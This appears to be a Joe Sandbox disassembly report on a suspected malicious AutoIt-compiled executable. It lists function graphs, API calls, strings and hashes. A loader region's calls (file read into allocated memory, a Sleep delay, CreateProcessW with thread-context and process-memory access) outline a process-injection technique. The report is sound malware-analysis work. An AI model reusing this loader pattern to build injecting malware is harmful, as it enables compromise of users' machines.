                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: __fread_nolock$_fseek_malloc_wcscpy
                              • String ID:
                              • API String ID: 1911931848-0
                              • Opcode ID: 3570a21b3fd7755177810c9e6035fea9311faeeb4ffbf150b354229a8e607498
                              • Instruction ID: daf5751c9f96f1f9c2235ce4d63c31b1673d17b5fb5ed0b9a51dc370059b243a
                              • Opcode Fuzzy Hash: 3570a21b3fd7755177810c9e6035fea9311faeeb4ffbf150b354229a8e607498
                              • Instruction Fuzzy Hash: 47514CB1A08340AFD310DF5AD881A9BF7E9FFC8704F40492EF68887241D77AE5448B5A

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 228 40f450-40f45c call 425210 231 40f460-40f478 228->231 231->231 232 40f47a-40f4a8 call 413990 call 410f70 231->232 237 40f4b0-40f4d1 call 4151b0 232->237 240 40f531 237->240 241 40f4d3-40f4da 237->241 244 40f536-40f540 240->244 242 40f4dc-40f4de 241->242 243 40f4fd-40f517 call 41557c 241->243 245 40f4e0-40f4e2 242->245 248 40f51c-40f51f 243->248 247 40f4e6-40f4ed 245->247 249 40f521-40f52c 247->249 250 40f4ef-40f4f2 247->250 248->237 253 40f543-40f54e 249->253 254 40f52e-40f52f 249->254 251 42937a-4293a0 call 41557c call 4151b0 250->251 252 40f4f8-40f4fb 250->252 265 4293a5-4293c3 call 4151d0 251->265 252->243 252->245 256 40f550-40f553 253->256 257 40f555-40f560 253->257 254->250 256->250 259 429372 257->259 260 40f566-40f571 257->260 259->251 261 429361-429367 260->261 262 40f577-40f57a 260->262 261->247 264 42936d 261->264 262->250 264->259 265->244
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: __fread_nolock_fseek_strcat
                              • String ID: AU3!$EA06
                              • API String ID: 3818483258-2658333250
                              • Opcode ID: 61a815b4762265f9d00ad5303640aa958846bc8ab5516fbcebd88596bc1aced3
                              • Instruction ID: a326fe91d6bb541f17a8cee8b09d92be642ba4032c5aa5fe266a96c6f27d1a6c
                              • Opcode Fuzzy Hash: 61a815b4762265f9d00ad5303640aa958846bc8ab5516fbcebd88596bc1aced3
                              • Instruction Fuzzy Hash: 2B416C7160C340ABC331DA24C841AEB77A59B95308F68087EF5C597683E578E44A876B

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 268 410130-410142 SHGetMalloc 269 410148-410158 SHGetDesktopFolder 268->269 270 42944f-429459 call 411691 268->270 271 4101d1-4101e0 269->271 272 41015a-410188 call 411691 269->272 271->270 278 4101e6-4101ee 271->278 280 4101c5-4101ce 272->280 281 41018a-4101a1 SHGetPathFromIDListW 272->281 280->271 282 4101a3-4101b1 call 411691 281->282 283 4101b4-4101c0 281->283 282->283 283->280
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: _wcscpy$DesktopFolderFromListMallocPath
                              • String ID: C:\Users\user\Desktop\w6dnPra4mx.exe
                              • API String ID: 192938534-606495725
                              • Opcode ID: 41672701d810a85b6866b378b1839c38d53fca73f5daf9d2a63f2dfb0070f590
                              • Instruction ID: 2fe23ff91bf644c1e681f842d3c1e96d6f0f177144f23c1ad52f1bdc7517ad48
                              • Opcode Fuzzy Hash: 41672701d810a85b6866b378b1839c38d53fca73f5daf9d2a63f2dfb0070f590
                              • Instruction Fuzzy Hash: 822179B5604211AFC210EB64DC84DABB3ECEFC8704F14891DF94987210E739ED46CBA6

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 286 3ef2608-3ef26b6 call 3ef0048 289 3ef26bd-3ef26e3 call 3ef3518 CreateFileW 286->289 292 3ef26ea-3ef26fa 289->292 293 3ef26e5 289->293 298 3ef26fc 292->298 299 3ef2701-3ef271b VirtualAlloc 292->299 294 3ef2835-3ef2839 293->294 296 3ef287b-3ef287e 294->296 297 3ef283b-3ef283f 294->297 300 3ef2881-3ef2888 296->300 301 3ef284b-3ef284f 297->301 302 3ef2841-3ef2844 297->302 298->294 305 3ef271d 299->305 306 3ef2722-3ef2739 ReadFile 299->306 307 3ef28dd-3ef28f2 300->307 308 3ef288a-3ef2895 300->308 303 3ef285f-3ef2863 301->303 304 3ef2851-3ef285b 301->304 302->301 311 3ef2865-3ef286f 303->311 312 3ef2873 303->312 304->303 305->294 313 3ef273b 306->313 314 3ef2740-3ef2780 VirtualAlloc 306->314 309 3ef28f4-3ef28ff VirtualFree 307->309 310 3ef2902-3ef290a 307->310 315 3ef2899-3ef28a5 308->315 316 3ef2897 308->316 309->310 311->312 312->296 313->294 317 3ef2787-3ef27a2 call 3ef3768 314->317 318 3ef2782 314->318 319 3ef28b9-3ef28c5 315->319 320 3ef28a7-3ef28b7 315->320 316->307 326 3ef27ad-3ef27b7 317->326 318->294 323 3ef28c7-3ef28d0 319->323 324 3ef28d2-3ef28d8 319->324 322 3ef28db 320->322 322->300 323->322 324->322 327 3ef27ea-3ef27fe call 3ef3578 326->327 328 3ef27b9-3ef27e8 call 3ef3768 326->328 334 3ef2802-3ef2806 327->334 335 3ef2800 327->335 328->326 336 3ef2808-3ef280c CloseHandle 334->336 337 3ef2812-3ef2816 334->337 335->294 336->337 338 3ef2818-3ef2823 VirtualFree 337->338 339 3ef2826-3ef282f 337->339 338->339 339->289 339->294
                              APIs
                              • CreateFileW.KERNELBASE(00000000,?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000), ref: 03EF26D9
                              • VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 03EF28FF
                              Memory Dump Source
                              • Source File: 00000000.00000002.2119793084.0000000003EF0000.00000040.00000020.00020000.00000000.sdmp, Offset: 03EF0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_3ef0000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: CreateFileFreeVirtual
                              • String ID:
                              • API String ID: 204039940-0
                              • Opcode ID: ed516440ab75e0c1ded8a7b1870b24392b753ad5cf7d4aa929dd61e32643855c
                              • Instruction ID: 99ab1a3ead6ff110401e44dd89c69c983768dda1496112efee4cb2ca01c03c77
                              • Opcode Fuzzy Hash: ed516440ab75e0c1ded8a7b1870b24392b753ad5cf7d4aa929dd61e32643855c
                              • Instruction Fuzzy Hash: 36A1F978E00209EFDB14CFA4C894BEEB7B5BF48304F249659E605BB280D7B59A45CF54

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 340 414f10-414f2c 341 414f4f 340->341 342 414f2e-414f31 340->342 343 414f51-414f55 341->343 342->341 344 414f33-414f35 342->344 345 414f37-414f46 call 417f23 344->345 346 414f56-414f5b 344->346 358 414f47-414f4c call 417ebb 345->358 347 414f6a-414f6d 346->347 348 414f5d-414f68 346->348 351 414f7a-414f7c 347->351 352 414f6f-414f77 call 4131f0 347->352 348->347 350 414f8b-414f9e 348->350 356 414fa0-414fa6 350->356 357 414fa8 350->357 351->345 355 414f7e-414f89 351->355 352->351 355->345 355->350 360 414faf-414fb1 356->360 357->360 358->341 362 4150a1-4150a4 360->362 363 414fb7-414fbe 360->363 362->343 365 414fc0-414fc5 363->365 366 415004-415007 363->366 365->366 369 414fc7 365->369 367 415071-415072 call 41e6b1 366->367 368 415009-41500d 366->368 377 415077-41507b 367->377 373 41500f-415018 368->373 374 41502e-415035 368->374 370 415102 369->370 371 414fcd-414fd1 369->371 380 415106-41510f 370->380 375 414fd3 371->375 376 414fd5-414fd8 371->376 378 415023-415028 373->378 379 41501a-415021 373->379 381 415037 374->381 382 415039-41503c 374->382 375->376 383 4150a9-4150af 376->383 384 414fde-414fff call 41ee9b 376->384 377->380 385 415081-415085 377->385 386 41502a-41502c 378->386 379->386 380->343 381->382 387 415042-41504e call 41453a call 41ed9e 382->387 388 4150d5-4150d9 382->388 394 4150b1-4150bd call 4131f0 383->394 395 4150c0-4150d0 call 417f23 383->395 401 415099-41509b 384->401 385->388 393 415087-415096 385->393 386->382 408 415053-415058 387->408 391 4150eb-4150fd call 417f23 388->391 392 4150db-4150e8 call 4131f0 388->392 391->358 392->391 393->401 394->395 395->358 401->362 401->363 409 415114-415118 408->409 410 41505e-415061 408->410 409->380 410->370 411 415067-41506f 410->411 411->401
                              APIs
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: _memset$__filbuf__fileno__getptd_noexit__read_memcpy_s
                              • String ID:
                              • API String ID: 3886058894-0
                              • Opcode ID: b117a392f3759847975495debe7ea87102f8b7de0bc78f8cbc322732e1c6b221
                              • Instruction ID: 085ef53bf2cba992f8731f00f2d52beda6aca72a1b803249d76dffc069a60243
                              • Opcode Fuzzy Hash: b117a392f3759847975495debe7ea87102f8b7de0bc78f8cbc322732e1c6b221
                              • Instruction Fuzzy Hash: CA510830900604EFCB208FA9C8445DFBBB5EFC5324F24825BF82596290D7799ED2CB99

                              Control-flow Graph

                              APIs
                              • LoadStringW.USER32(?,00000065,?,0000007F), ref: 0042A9B0
                                • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                              • _memset.LIBCMT ref: 00401C62
                              • _wcsncpy.LIBCMT ref: 00401CA1
                              • _wcscpy.LIBCMT ref: 00401CBD
                              • Shell_NotifyIconW.SHELL32(00000001,?), ref: 00401CCF
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: IconLoadNotifyShell_String_memset_wcscpy_wcslen_wcsncpy
                              • String ID: Line:
                              • API String ID: 1620655955-1585850449
                              • Opcode ID: b1e388f5f21e32c190c1b7412400e6ffb6374e41c1d48bdcdb7aece10813d053
                              • Instruction ID: a4e7cf3abc31881c2b93aaae0beefbbd48c64772eea77d32b53e92a0700a02c6
                              • Opcode Fuzzy Hash: b1e388f5f21e32c190c1b7412400e6ffb6374e41c1d48bdcdb7aece10813d053
                              • Instruction Fuzzy Hash: 7431D47151C301ABD324EB11DC41BDB77E8AF94314F04493FF989521A1DB78AA49C79B

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 445 4103e0-410461 CreateWindowExW * 2 ShowWindow * 2
                              APIs
                              • CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,?,00000000), ref: 00410415
                              • CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,?,00000000), ref: 0041043E
                              • ShowWindow.USER32(?,00000000), ref: 00410454
                              • ShowWindow.USER32(?,00000000), ref: 0041045E
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Window$CreateShow
                              • String ID: AutoIt v3$edit
                              • API String ID: 1584632944-3779509399
                              • Opcode ID: 2f6e2284bb2ae2ba7cf4e865adc3bced08dc322388bda6343c860b78a8eff359
                              • Instruction ID: daa3d4afae2654ee996124117597f48fa5c574a0ac4b96d00400a8ba476d7f73
                              • Opcode Fuzzy Hash: 2f6e2284bb2ae2ba7cf4e865adc3bced08dc322388bda6343c860b78a8eff359
                              • Instruction Fuzzy Hash: F3F0A975BE4310BAF6609754AC43F592B59A765F00F3445ABB700BF1D0D6E478408B9C

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 446 3ef23f8-3ef2507 call 3ef0048 call 3ef22e8 CreateFileW 453 3ef250e-3ef251e 446->453 454 3ef2509 446->454 457 3ef2525-3ef253f VirtualAlloc 453->457 458 3ef2520 453->458 455 3ef25be-3ef25c3 454->455 459 3ef2543-3ef255a ReadFile 457->459 460 3ef2541 457->460 458->455 461 3ef255e-3ef2598 call 3ef2328 call 3ef12e8 459->461 462 3ef255c 459->462 460->455 467 3ef259a-3ef25af call 3ef2378 461->467 468 3ef25b4-3ef25bc ExitProcess 461->468 462->455 467->468 468->455
                              APIs
                                • Part of subcall function 03EF22E8: Sleep.KERNELBASE(000001F4), ref: 03EF22F9
                              • CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 03EF24FD
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2119793084.0000000003EF0000.00000040.00000020.00020000.00000000.sdmp, Offset: 03EF0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_3ef0000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: CreateFileSleep
                              • String ID: CTDFSMINV4SIHZUJA3
                              • API String ID: 2694422964-525801473
                              • Opcode ID: fde6be02ec8abbae39c5e24a9437d69c189fb8418a7b92e2d1f4a1316dfc2511
                              • Instruction ID: 0feb2b10175cf75e99e28ed86b7ec6079c59fbb722b08d8806549e140233dfd0
                              • Opcode Fuzzy Hash: fde6be02ec8abbae39c5e24a9437d69c189fb8418a7b92e2d1f4a1316dfc2511
                              • Instruction Fuzzy Hash: C1518F74D04259DBEF11DBA4C918BEEBBB9AF05304F044699E7087B2C0D7B91B44CBA6

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 470 413a88-413a99 call 41718c 473 413b10-413b15 call 4171d1 470->473 474 413a9b-413aa2 470->474 475 413aa4-413abc call 418407 call 419f6d 474->475 476 413ae7 474->476 488 413ac7-413ad7 call 413ade 475->488 489 413abe-413ac6 call 419f9d 475->489 478 413ae8-413af8 RtlFreeHeap 476->478 478->473 481 413afa-413b0f call 417f23 GetLastError call 417ee1 478->481 481->473 488->473 495 413ad9-413adc 488->495 489->488 495->478
                              APIs
                              • __lock.LIBCMT ref: 00413AA6
                                • Part of subcall function 00418407: __mtinitlocknum.LIBCMT ref: 0041841D
                                • Part of subcall function 00418407: __amsg_exit.LIBCMT ref: 00418429
                                • Part of subcall function 00418407: EnterCriticalSection.KERNEL32(?,?,?,004224D3,00000004,0048CCA0,0000000C,00417011,00411739,?,00000000,00000000,00000000,?,00416C24,00000001), ref: 00418431
                              • ___sbh_find_block.LIBCMT ref: 00413AB1
                              • ___sbh_free_block.LIBCMT ref: 00413AC0
                              • RtlFreeHeap.NTDLL(00000000,00411739,0048C758,0000000C,004183E8,00000000,0048CA38,0000000C,00418422,00411739,?,?,004224D3,00000004,0048CCA0,0000000C), ref: 00413AF0
                              • GetLastError.KERNEL32(?,004224D3,00000004,0048CCA0,0000000C,00417011,00411739,?,00000000,00000000,00000000,?,00416C24,00000001,00000214), ref: 00413B01
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
                              • String ID:
                              • API String ID: 2714421763-0
                              • Opcode ID: 1be655156b84d1756d47887b3dc267bc1ef03bd4322eaa0c22e254cdcea9361a
                              • Instruction ID: 54fb22c17cbd059cfb8714ef359fce415cc636064f476ff80f42ef981757bf49
                              • Opcode Fuzzy Hash: 1be655156b84d1756d47887b3dc267bc1ef03bd4322eaa0c22e254cdcea9361a
                              • Instruction Fuzzy Hash: 7401A731A08301BADF206F71AC09BDF3B64AF00759F10052FF544A6182DB7D9AC19B9C
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID:
                              • String ID: #v
                              • API String ID: 0-554117064
                              • Opcode ID: c2b84d901eedfcb5732c73c427cf3e6a40f349a1394e6728fcd5bdf3f2a5d4d9
                              • Instruction ID: a1f682be926937ece900e9fcc50ccc13891f43ead78ba7c6857800eee9f0599c
                              • Opcode Fuzzy Hash: c2b84d901eedfcb5732c73c427cf3e6a40f349a1394e6728fcd5bdf3f2a5d4d9
                              • Instruction Fuzzy Hash: EC81D2756043009FC310EF65C985B6AB7E4EF84315F008D2EF988AB392D779E909CB96
                              APIs
                                • Part of subcall function 0040F580: _wcslen.LIBCMT ref: 0040F58A
                                • Part of subcall function 0040F580: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,?,?,?,?,?,?), ref: 0040F5A3
                                • Part of subcall function 0040F580: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,?,-00000010,00000001,?,?,?,?), ref: 0040F5CC
                              • _strcat.LIBCMT ref: 0040F603
                                • Part of subcall function 0040F6A0: _memset.LIBCMT ref: 0040F6A8
                                • Part of subcall function 0040F6D0: _strlen.LIBCMT ref: 0040F6D8
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: ByteCharMultiWide$_memset_strcat_strlen_wcslen
                              • String ID: HH
                              • API String ID: 1194219731-2761332787
                              • Opcode ID: ee47fd20779ff5886c3c730aa44a1efa7791f275b5868e90dcef310a8da63108
                              • Instruction ID: 1fd31f67f6889806bd2ce24d6488871f5ee50ddf162d20410a363c4a19aba518
                              • Opcode Fuzzy Hash: ee47fd20779ff5886c3c730aa44a1efa7791f275b5868e90dcef310a8da63108
                              • Instruction Fuzzy Hash: 022158B260825067C724EF7A9C8266EF7D8AF85308F148C3FF554D2282F638D555879A
                              APIs
                              • CreateProcessW.KERNELBASE(?,00000000), ref: 03EF1B15
                              • Wow64GetThreadContext.KERNEL32(?,00010007), ref: 03EF1B39
                              • ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 03EF1B5B
                              Memory Dump Source
                              • Source File: 00000000.00000002.2119793084.0000000003EF0000.00000040.00000020.00020000.00000000.sdmp, Offset: 03EF0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_3ef0000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Process$ContextCreateMemoryReadThreadWow64
                              • String ID:
                              • API String ID: 2438371351-0
                              • Opcode ID: 4a62210935fbc19ac52c28b7856ac9112c9a9e608a38d15f0a7da1a89c903d0f
                              • Instruction ID: 9ca22390f0adf291f66a50ebd6f5b07aa06991d028a4278d801b14c57e06ae73
                              • Opcode Fuzzy Hash: 4a62210935fbc19ac52c28b7856ac9112c9a9e608a38d15f0a7da1a89c903d0f
                              • Instruction Fuzzy Hash: CB620E34A14258DBEB24CFA4C850BDEB376EF58304F1091A9D20DEB390E7B59E81CB59
                              APIs
                              • _memset.LIBCMT ref: 0040E202
                              • Shell_NotifyIconW.SHELL32(00000000,?), ref: 0040E2C7
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: IconNotifyShell__memset
                              • String ID:
                              • API String ID: 928536360-0
                              • Opcode ID: 27b28fb85d639681eb8fd2a3c2bcd9dc0bb82ef5f5c365fc5a47124cd6911170
                              • Instruction ID: 9c6d99eda8392314e00a4319cd3b9f491a6d528882fc0aac3328a2d60ab56ec1
                              • Opcode Fuzzy Hash: 27b28fb85d639681eb8fd2a3c2bcd9dc0bb82ef5f5c365fc5a47124cd6911170
                              • Instruction Fuzzy Hash: FC318170608701DFD320DF25D845B97BBF8BB45304F00486EE99A93380E778A958CF5A
                              APIs
                              • _malloc.LIBCMT ref: 00411734
                                • Part of subcall function 004138BA: __FF_MSGBANNER.LIBCMT ref: 004138DD
                                • Part of subcall function 004138BA: __NMSG_WRITE.LIBCMT ref: 004138E4
                                • Part of subcall function 004138BA: RtlAllocateHeap.NTDLL(00000000,0041172A,?,?,?,?,00411739,?,00401C0B), ref: 00413931
                              • std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                • Part of subcall function 004116B0: std::exception::exception.LIBCMT ref: 004116BC
                              • std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                              • __CxxThrowException@8.LIBCMT ref: 00411779
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: AllocateException@8HeapThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exceptionstd::exception::exception
                              • String ID:
                              • API String ID: 1411284514-0
                              • Opcode ID: ca7221cdd9cc9326792a0c346bb7c35cd30f9974032eaa45b6addcc39664c516
                              • Instruction ID: c554e94cc15d94fff19a40754e7570613bf3612ee9c26c673f8185df9075a277
                              • Opcode Fuzzy Hash: ca7221cdd9cc9326792a0c346bb7c35cd30f9974032eaa45b6addcc39664c516
                              • Instruction Fuzzy Hash: 6FF0E23550060A66CF08B723EC06ADE3B649F11798B10403BFA20552F2DF6DADC9865C
                              APIs
                              • RegOpenKeyExW.KERNELBASE(80000001,0040F0EE,00000000,00000001,80000001,?,0040F0EE,80000001,Control Panel\Mouse,SwapMouseButtons,00000004,?,?,0044BA28), ref: 0040F132
                              • RegQueryValueExW.KERNELBASE(?,?,00000000,00000000,80000001,80000001,?,0040F0EE,80000001,Control Panel\Mouse,SwapMouseButtons,00000004,?,?,0044BA28), ref: 0040F14F
                              • RegCloseKey.KERNELBASE(00000000,?,?,00000000,00000000,80000001,80000001,?,0040F0EE,80000001,Control Panel\Mouse,SwapMouseButtons,00000004,?,?,0044BA28), ref: 0040F159
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: CloseOpenQueryValue
                              • String ID:
                              • API String ID: 3677997916-0
                              • Opcode ID: 2fc94d7b08a1a7677ebb25c0c676948635cded20fa34e442ec21f1e1bf5971ab
                              • Instruction ID: 6acd5c45b0bc896a902747136fbadff1bb775023c46fd22fba7b324c5144c726
                              • Opcode Fuzzy Hash: 2fc94d7b08a1a7677ebb25c0c676948635cded20fa34e442ec21f1e1bf5971ab
                              • Instruction Fuzzy Hash: 60F0BDB0204202ABD614DF54DD88E6BB7F9EF88704F10492DB585D7250D7B4A804CB26
                              APIs
                              • _malloc.LIBCMT ref: 00435278
                                • Part of subcall function 004138BA: __FF_MSGBANNER.LIBCMT ref: 004138DD
